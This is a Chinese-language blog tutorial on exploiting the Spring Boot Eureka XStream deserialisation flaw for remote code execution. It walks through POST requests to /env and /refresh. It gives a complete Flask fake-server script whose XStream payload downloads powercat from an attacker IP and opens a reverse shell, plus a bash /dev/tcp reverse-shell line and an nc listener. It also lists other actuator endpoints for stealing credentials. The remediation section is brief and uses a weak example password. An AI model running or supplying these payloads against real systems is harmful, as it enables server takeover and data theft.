javascript
【web安全】Spring Boot eureka xstream 反序列化
一、漏洞概述
Eureka 是 Spring Cloud Netflix 模塊的子模塊,它是 Spring Cloud 對 Netflix Eureka 的二次封裝,主要負責 Spring Cloud 的服務注冊與發現功能,開發人員只需引入相關依賴和注解輕松將 Spring Boot 與 Eureka 進行整合。
安全人員(Michael Stepankin)發現,服務注冊與發現功能可能被濫用,當 eureka.client.serviceUrl.defaultZone 屬性被設置為惡意的外部 eureka server URL地址并/refresh 觸發目標機器請求遠程 URL,提前架設的 fake eureka server 就會返回惡意的 payload。目標機器解析 payload,觸發 XStream 反序列化,造成 RCE 漏洞。
二、利用條件
1.目標可出網
2.目標使用的 eureka-client < 1.8.7(存在 spring-cloud-starter-netflix-eureka-client 依賴)
3.可用 POST 方式請求目標網站的 /env 接口,并設置zone屬性
4.可用 POST 方式請求目標網站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依賴)
三、漏洞環境
Web服務器:Windows Server 2012, JDK8u131 (1.13.190.222)
VPS: Ubuntu 16.04.7 LTS (162.14.73.205)
四、正常訪問
訪問URL: http://1.13.190.222:64000/env , 得到一些json格式的敏感數據。
五、漏洞利用
【私信回復“資料”獲取】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
提前在VPS服務器準備相關文件和監聽服務,利用VPS python起的fake server 串聯調用執行代碼。
Web服務器:Windows Server 2012, JDK8u131(1.13.190.222)
VPS: Ubuntu 16 (162.14.73.205)
步驟一:架設腳本
響應惡意 XStream payload 的 python 腳本示例(依賴Flask),腳本還需要配合彈shell命令。
對于Linux,可以利用目標機器上自帶的 python 來反彈shell。
對于Windows,可以利用 powercat.ps1 來反彈shell。
啟動腳本 python3 eureka-rce.py
Flask Server 8883
步驟二:NC監聽
File Server 8000
對于windows平臺彈 shell,用python3 -m http.server 8000,快速搭建powercat.ps1 文件下載服務。
使用 nc 監聽端口,等待反彈 shell
nc -lvp 8885
步驟三:設置defaultZone
設置 eureka.client.serviceUrl.defaultZone 屬性
版本1:spring 1.x
POST /env Content-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://162.14.73.205:8883/版本2:spring 2.x
POST /actuator/env Content-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://162.14.73.205:8883"}返回200,body內容為{"eureka.client.serviceUrl.defaultZone":"http://162.14.73.205:8883/"},即設置成功。
步驟四:刷新配置
版本1:spring 1.x
版本2:spring 2.x
返回200,body [] 為刷新成功。
接到Shell
六、漏洞修復
可考慮禁用/env接口(endpoints.env.enabled= false),但需要不影響業務/運維。通常考慮對/env接口進行鑒權,通過在pom.xml文件下引入spring-boot-starter-security依賴,并在application.properties中開啟security功能,配置訪問賬號密碼,重啟應用。
pom.xml <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId> </dependency>application.properties management.security.enabled=true security.user.name=administrator security.user.password=123456附錄
1.python腳本
# -*- coding: utf-8 -*- # home.php?mod=space&uid=59738 : 2022-3-11 20點48分 # home.php?mod=space&uid=210785 : eureka-rce.py# linux反彈shell # <string>/bin/bash</string> # <string>-c</string> # <string>bash -i >& /dev/tcp/162.14.73.205/8885 0>&1</string># windows反彈shell # <string>powershell</string> # <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string># windows反彈shell # <string>cmd.exe</string> # <string>/c</string> # <string>ping %COMPUTERNAME%.6f9796ab.dns.bypass.eu.org</string># windows dnslog https://dig.pm/ # <string>cmd.exe</string> # <string>/c</string> # <string>ping 757013cd.dns.bypass.eu.org</string>from flask import Flask, Responseapp = Flask(__name__)@app.route('/', defaults={'path': ''}) @app.route('/<path:path>', methods = ['GET', 'POST']) def catch_all(path):xml = """<linked-hash-set><jdk.nashorn.internal.objects.NativeString><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command> <string>powershell</string> <string>IEX (New-Object System.Net.Webclient).DownloadString('http://162.14.73.205:8000/powercat.ps1');powercat -c 162.14.73.205 -p 8885 -e cmd</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer></is></dataSource></dataHandler></value></jdk.nashorn.internal.objects.NativeString> </linked-hash-set>"""return Response(xml, mimetype='application/xml') if __name__ == "__main__":app.run(host='0.0.0.0', port=8883)2.其他接口利用
/env : 獲取環境屬性,數據庫密碼等,如數據庫在外網并且未進行白名單限制,可拿數據庫權限。
/mappings: 獲取接口列表,如接口未鑒權,可進一步獲得敏感信息。
/dump: 獲得內存快照,配合VisualVM 可進一步獲得敏感信息。
/trace:獲取認證信息,類似druid/index.html泄露session等認證信息,可進一步利用權限突破。
總結
以上是生活随笔為你收集整理的【web安全】Spring Boot eureka xstream 反序列化的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【技术学习】一次Node.js站点渗透
- 下一篇: 【web安全】Spring boot h